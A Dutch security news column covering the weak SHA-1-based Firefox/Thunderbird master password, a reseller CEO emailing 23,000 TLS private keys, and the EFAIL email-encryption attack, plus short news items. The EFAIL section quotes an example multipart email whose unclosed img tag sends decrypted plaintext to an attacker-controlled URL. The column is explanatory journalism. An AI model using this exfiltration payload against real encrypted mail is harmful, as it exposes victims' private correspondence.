# FOCUS OP VEILIGHEID

Met een speciaal geprepareerde html e-mail kan een aanvaller versleutelde tekst kraken. De wachtwoordbeheerder van Firefox en Thunderbird is onveilig. En de CEO van een certificatenreseller e-mailt 23.000 privésleutels. Deze en andere beveiligingsnieuwtjes lees je in Focus op veiligheid. **Koen Vervloesem**

## HOOFDWACHTWOORD FIREFOX EN THUNDERBIRD ONVEILIG

Wladimir Palant, ontwikkelaar van de populaire adblocker Adblock Plus, kondigde op zijn blog aan dat het hoofdwachtwoord, waarmee Firefox en Thunderbird wachtwoorden versleutelen die je opslaat, eenvoudig te kraken is. De ingebouwde wachtwoordbeheerder van beide Mozilla-programma's is dus helemaal niet aan te raden.

Palant dook in de code van de wachtwoordbeheerder van Mozilla en ontdekte daar, tot zijn verbazing, dat die code uit het hoofdwachtwoord een encryptiesleutel afleidt door eenvoudigweg een sha-1-hash te berekenen van een willekeurige salt en het hoofdwachtwoord. Maar van sha-1 is allang bekend dat het niet sterk genoeg meer is. Bijna drie jaar geleden drongen onderzoekers van het CWI, Inria en NTU Singapore er al op aan om sha-1 zo snel mogelijk uit te faseren. Dit omdat de kosten om het te breken significant lager bleken te liggen dan eerder gedacht.

Dat blijkt nu ook het probleem, aldus Palant. Een Nvidia GTX 1080-videokaart kan al 8,5 miljard sha-1-hashes per seconde berekenen. Hiermee duurt het volgens Palant gemiddeld maar een minuut om een niet al te sterk hoofdwachtwoord te kraken, waarna alle opgeslagen wachtwoorden in Firefox of Thunderbird voor het grabbelen liggen. De anonieme 'cracktivisten' van CynoSure Prime slaagden er vorig jaar in om van 320 miljoen sha-1-hashes van wachtwoorden van de website Have I been pwned? alle wachtwoorden te kraken, behalve 116. Dat is een succespercentage van 99.9999%...

Patel wees er in zijn blog op dat negen (!) jaar geleden al iemand anders Mozilla in een bug report erop heeft gewezen dat het hoofdwachtwoord te eenvoudig te kraken was, maar daar is niets mee gebeurd. De oplossing is eenvoudig: de sha-1-hash vervangen door een volwaardige key derivation function die veel trager werkt, waardoor het hoofdwachtwoord niet meer in een redelijke tijd te kraken is. De industriestandaard is om in zo'n key derivation function minstens 10.000 iteraties van een hash uit te voeren, LastPass past er zelfs 100.000 toe.

In een antwoord op de blogpost van Patel wees een werknemer van Mozilla erop dat ze ondertussen aan het werken zijn aan een volledig nieuwe en veiligere wachtwoordbeheerder, Lockbox, in de vorm van een extensie voor Firefox. Die moet ook veilige synchronisatie van je wachtwoorden via Firefox Sync toelaten.
**https://palant.de/2018/03/10/master-password-in-firefox-or-thunderbird-do-not-bother**
**https://mozilla-lockbox.github.io/lockbox-extension/**

## CEO VAN CERTIFICATENRESELLER E-MAILT 23.000 PRIVÉSLEUTELS

Sommige praktijken houd je niet voor mogelijk, maar toch gebeuren ze... De CEO van Trustico, een reseller van tls-certificaten van Comodo en voorheen van Symantec, stuurde 23.000 privésleutels van tls-certificaten naar Jeremy Rowley, executive vice president van DiGiCert, een CA die de certificatenbusiness van Symantec overgenomen had.

Eerder had Trustico aan DigiCert gemeld dat 50.000 certificaten van Symantec die Trustico had verkocht, moesten worden ingetrokken, omdat ze niet meer veilig waren. Toen Rowley om bewijs vroeg dat de certificaten gecompromitteerd waren, stuurde CEO Zane Lucas van Trustico prompt de 23.000 privésleutels als antwoord...

Het is niet bekend of de e-mail versleuteld was. Dat is ook niet relevant: de reseller zou die privésleutels van tls-certificaten nooit mogen bijhouden en de CEO zou er al zeker geen toegang toe mogen krijgen. Enkele uren nadat het nieuws over deze flagrante schending van beveiligingshygiëne bekend werd, publiceerde een beveiligingsspecialist overigens een kritieke beveiligingsfout in de website van Trustico en haalde Trustico zijn website offline.

## EFAIL: FOUT IN E-MAILPROGRAMMA'S MET OPENPGP EN S/MIME

Een team van Duitse onderzoekers ontdekte een zwakheid in de OpenPGP- en S/MIME-standaarden waardoor kwetsbare e-mailclients de onversleutelde tekst lekten. De fout, die ze EFAIL doopten, maakte misbruik van actieve inhoud van html e-mails, zoals extern geladen afbeeldingen of stijlen.

EFAIL is een complexe aanval die niet eenvoudig uit te buiten is. Zo moet een aanvaller toegang hebben tot de versleutelde e-mails die hij wil ontcijferen. De aanvaller verandert de versleutelde e-mail op een speciale manier en stuurt die terug naar het slachtoffer. De e-mailclient van de laatste decrypteert de e-mail en laadt ook externe content, die de aanvaller als 'exfiltratiekanaal' voor de plaintext gebruikt.

De onderzoekers ontdekten twee varianten. De ene variant buit kwetsbaarheden in de specificaties van OpenPGP en S/MIME zelf uit. De andere variant, de eenvoudigste, is een vorm van directe exfiltratie en buit kwetsbaarheden in e-mailclients, zoals Apple Mail, iOS Mail en Mozilla Thunderbird uit.

De directe exfiltratie verloopt als volgt. De aanvaller creëert een multipart e-mail met drie onderdelen. Het eerste onderdeel bevat een html image-tag met een URL van zijn server, maar het geopende aanhalingsteken rond de URL wordt niet gesloten. Het tweede onderdeel is de PGP- of S/MIME-ciphertext die hij van zijn slachtoffer heeft onderschept. Het derde onderdeel is weer html-code die het aanhalingsteken van het src-attribuut van de img-tag sluit.

Als de aanvaller deze e-mail naar zijn slachtoffer zendt, decrypteert de e-mailclient van het slachtoffer het tweede onderdeel van de e-mail en plakt de drie delen aan elkaar tot een html e-mail. Het aanhalingsteken na de URL wordt nu gesloten en de hele ontcijferde e-mail past in het src-attribuut. De client vertaalt tekens zoals een spatie nog naar %20 zodat ze een correcte URL kan opmaken en uiteindelijk vraagt de client een afbeelding op die URL op. De aanvaller krijgt die aanvraag op zijn server te zien en kan zo de inhoud van de versleutelde URL in plaintext lezen.

De verschillende producenten van e-mailclients hebben ondertussen patches gepubliceerd. Dit soort fouten kun je uiteraard ook vermijden als je het tonen van html e-mails en JavaScript in je e-mailclient uitschakelt. Schakel ook het automatisch laden van externe content, zoals afbeeldingen uit. Maar uiteindelijk zullen ook de OpenPGP- en S/MIME-standaarden aangepast moeten worden om de zwakheden en dubbelzinnigheden die EFAIL mogelijk maakten eruit te halen.

**https://efail.de/**

```
From: attacker@efail.de
To: victim@company.com
Content-Type: multipart/mixed;boundary="BOUNDARY"

--BOUNDARY
Content-Type: text/html

<img src="http://efail.de/
--BOUNDARY
Content-Type: application/pkcs7-mime;
  smime-type=enveloped-data
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHA6CAMIACAQAxggHXMIIB0wIB...
--BOUNDARY
Content-Type: text/html
">
--BOUNDARY--
```

**De aanvaller creëert een multipart e-mail met html-code rond een versleutelde e-mail**

```
<img src="http://efail.de/
Secret meeting
Tomorrow 9pm
">
```

**Na ontcijfering in de e-mailclient van de ontvanger bevat de img-tag de plaintext**

```
http://efail.de/Secret%20MeetingTomorrow%209pm
```

**De URL van de img-tag verwijst naar een server van de aanvaller en verklapt de ontcijferde e-mail**

## EN VERDER

Een snap in de Snap Store van Canonical bleek een cryptocurrency miner te bevatten. GitHub heeft na een analyse 4 miljoen bekende kwetsbaarheden in meer dan een half miljoen softwareprojecten ontdekt. De website heeft ook zijn eigen veiligheid opgekrikt en zwakke cryptografische standaarden uitgeschakeld: TLSv1/TLSv1.1 werken niet meer voor HTTPS en diffie-hellman-group1-sha1 en diffie-hellman-group14-sha1 niet meer voor SSH. En onderzoekers van Purdue University en de University of Iowa hebben zwakheden ontdekt in de 4G LTE-standaarden waardoor aanvallers zich voor andere gebruikers kunnen uitgeven.

De distributie Kali Linux voor pentesters is nu ook beschikbaar in de Windows Store om in het Windows Subsystem for Linux te draaien. Versie 2.0 van de extensie Enigmail voor Thunderbird ondersteunt nu naast OpenPGP en S/MIME ook Pretty Easy privacy, een gebruiksvriendelijk systeem voor end-to-end encryptie. En Hashcat 4.1 kan populaire hash-algoritmes zoals md5, sha-1 en sha-256 tientallen procenten sneller kraken.

De Internet Engineering Task Force heeft TLS 1.3 als standaard aangenomen. Die verwijdert enkele oudere encryptie- en hashing-algoritmes en introduceert nieuwe. Intel gaat in zijn nieuws Cascade Lake-processoren en de achtste generatie Intel Core-processoren later dit jaar een extra beveiligingslaag toevoegen die tegen één variant van de Spectre-aanval en Meltdown moet beschermen.